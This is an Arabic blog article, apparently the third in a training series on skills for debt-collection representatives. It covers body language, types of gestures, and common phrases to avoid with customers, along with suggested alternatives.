  • إجعل تعبيراتك مرتبطة بالموضوع الذى تتحدث عنه ويقدر منافع العميل .. فإذا كان سلوكك التعبيرى غير مرتبط بالحديث فسوف ينصرف عنك العميل لتفسير هذا التفاوت ..ولا تنس أن كلماتك عندما تخطئ فى المقصود منها فإنك يمكن أن تصحهها .إنما أنت لا ترى نفسك وأنت تتكلم . وتفضحك تعبيراتك دائماً .. كما أنك لا يمكن أن تقوم بتصحيحها .
  • كن طبيعياً ..أى اجعل الجسم يعبر عنك أنت ..لأنه جسمك أنت ..فلا تكن رسمياً للغاية مع العملاء .لأنهم يبحثون عن الألفة . ولا تحاول إطلاقاً أن تقلد محصلاً آخر فى طريقة حديثة .. فأنت بلا شك غيره .. وعميلك غير هذا العميل .
  • اجعل من جسمك مرآة صادقة لأحاسيسك وكلما كنت شغوفاً بما تقدمه للآخرين كلما كنت مقنعاً لهم ..أسقط الأقنعة واسمح لمشاعرك ان تتفاعل مع مشاعر العملاء ..من خلال كلماتك ..ومن خلال تعبيراتك .
  • أعد نفسك مقدماً ..واظهر دائماً بمظهر الخبير الواثق .. فلا شئ يبهر عملائك أكثر من معلوماتك ومعرفتك بمفاهيمهم ، وبمنتجات شركتك ..وكلما أعددت نفسك جيداً . فإنك تكون أكثر تواضعاً .. أقل عصبية .. وكلما عرفت كلماتك أكثر إتقانا ً.. وتعبيراتك أكثر ثقة .. وبالتالى فإن مقابلتك للنقد بابتسامة الثقة تكون خير دليل على نجاحك .
  • إن محيط عملك هو المكان الرئيسى للتدريب على الأفضل فى الحديث والتعبير .. فلا سبيل إلى التطوير دون الممارسة . وتحين فرصة التدريب لتتعلم الكثير .

رابعاً : الإيماءات

هى حركات الجسم المؤكدة لحديثك .. وما تريد أن ترسله من كلمات ، والتى تصنعها اليدين والكتفين والذراعين وقد تكون الأقدام .

ولكن .. لماذا الإيماءات ؟

الإيماءات مصاحبة لنجاحك فى الحديث للآخرين ، لأنها :

  • توضح وتؤكد كلماتك .
  • تجسم أفكارك .
  • تنقل حماسك للآخرين .
  • هى أداة مساعدة تؤثر فى نظرة الآخرين لموضوعك .
  • تضمن مشاركة العميل لمشاعرك .

أنواع الإيماءات

  • الإيماءات الوصفية – وهى التى تستخدم لتوضيح حديثك .
  • إيماءات مؤكده – وتستخدم فى تأكيد المقصود بحديثك .
  • إيماءات باقتراحات – وهى تلك التى تمثل رموزاً لأفكار يمكن أن تساعد العميل على الحديث .
  • إيماءات مشجعة – وهى تلك المستخدمة فى حفز العملاء على إعطاء ردود فعل مناسبة .

إن عميلك دائماً يقابلك رافعاً يديه إلي أعلي … مستعد لملاقاتك، وقد أعد لك كافة أسلحته الهجومية حتي يتمكن منك، يقلل من سعرك .. يقلل من جودتك .. يحطم في سياستك .. يصفك دائماً بالتحيز للآخرين .. لذا  فإن مهمتك الأولي أن تصنع المناخ الذي يؤهله للتعامل معك .. وليس أسوأ من إستخدامك لألفاظ قد تبدو طبيعية، ولكنها مستهلكة ومعروفة.. وتزيد الطين بلة ، إنها متداولة بشكل شائع فلا تعطي للعميل خصوصيته .. وأهميته .. ومن هذه الألفاظ ما يلي:

  • أي خدمة ؟ Can I help you ?

إن هذه العبارة الشائعة في عالمنا إنما تصنع ضغطاً علي العميل المرتقب ليعطي قراراً فوراً (الآن)، وخاصة إذا كان العميل في مراحل الإقتناع الأولي بكم .. أو حضر لمجرد رؤية ما يعرض تمهيداً للتعامل المستقبل .. فإنه يتعرض لموقف صعب. واللفظ المطلوب هنا يختلف وفقاً للبيئة . كيف أستطيع أن أساعدك يا سيدي How can I help you ? ، إرفع الضغط عن العميل ودعه يشاركك .. ” صباح الخير، أهلاً وسهلاً بكم .. أنا طوع أمر سعادتكم لتقديم أي خدمة أو معلومة، حيث تعطيه الاختيار ..

  • مع إحترامي لحضرتك … إلا أن …

هذه الكلمة الشائعة تقول للعميل نحن لم نفكر في قضيتك إلا قليلاً للغاية والتحول إلي شخص العميل ..

  • بدون الدخول في نواحي فنية معقدة .. حتى يمكن أن أقدم ذلك لكم بألفاظ أكثر سهولة …

إعلم أنك تتعامل مع عميل لا تعطيه محاضرة ، وتشعره أنه أقل منك في الفكر أو العلم بالشيء .. وكن أكثر تواضعاً في العرض .. “أود أن أستطيع أن أشرح لكم الموضوع علي النحو الذي تحبونه”.

  • أرجو ألا أكون قد أصبتك بالملل حين ..

إعلم أن تذكير العميل بألفاظ معينة قد تصل لنفسه ليسير فى نفس الإتجاه فقد إفترضت مقدماً أن حديثك يبعث الملل فى العميل.

  • ليس هذا هو ما قلته لك ..لديك سوء فهم بما أقول ..

ليس من حقك إطلاقاً أن تؤنب العملاء عن عدم قدرتهم على فهمك ومن الضرورى أن تكون دبلوماسياً وتتحمل المسئولية عن سوء الإتصال من جانبك ” أنا أسف ” أخشى أن أكون لم أستطيع أن أشرح ما يجول بنفسى ”

  • ليس هذا نقداً لكم ..أنا لا أشكوا ولكن .. أنا حقيقة لم أقاطع سيادتكم ولكن ..

لا تعتبر ان نقدك للعميل نصيحة غالية من الممكن أن تفيده ، بل أن الكثير من العملاء أو الأصدقاء قد لايتقبلون ما تقدمه من نقد .. وتقديم النصيحة فى شكل نقد يتوقف على قبول الآخرين لهذا النقد.

  • أنا لا أتفق معك فى ذلك .. حقك .. وهذا رأيك ..

إن عدم اتفاقك مع العميل وإعلان ذلك صراحة يعنى بداية أنك تبحث عن مشكلة فالعميل يجب دائماً ان تحترم ما يقول حتى ولو كان خطأ ، ثم تحاول تغيير وجهة النظر على مهل وباحترام كامل لرأيه .. (هذه فعلاً وجهة نظر جيده وانا أتفهم لماذا تولد هذا الشعور لدى سيادتكم ، فعندما كنت أتحدث مع عميل بالأمس له أفكار تقترب من أفكار تقترب من أفكار سيادتكم ظهرت وجهة نظر أخرى يمكن أن تؤخذ فى الحسبان من أهمها …الخ )

  • نحن دائماً الأرخص ..

الرخص يعنى أنك الأقل …ولكن الحديث عن أنك لست غالياً بدرجة كبيرة أفضل ..

  • لدينا مشكلة وهى ..

إن ذكر كلمة مشكلة فى حديثك تكون بمثابة جرس يطلبه العملاء ، وبالتالى ترتبط المشاكل بالوقت والجهد اللازمين لحل المشكلة ، ولذا فإن المشكلة تكون ” موقف ” أفضل .

  • أيضاً كل هذه الكلمات ..

كوسيلة لتعوضكم ..هذا تصرف غبى للغاية .. كيف ستقوم بذلك ..لا أصدق ان يقوم عميلاً بهذا الشئ الغبى ؟ ..أنت غلطان …ماذا تعنى بذلك ؟ ..عندى فكرة أحسن دعنى أوضح لك حقيقة الأمر ..أعتقد أنه..

*   *   *

انتهت بحمد الله المقالة الثالثة لمسار كيم التعليمى لتنمية مهارات مندوبي التحصيل

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تنمية مهارات مندوبي التحصيل-بقلم د/محمود الضابط – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/developing_the_skills_of_collection_representatives-3/feed/ 0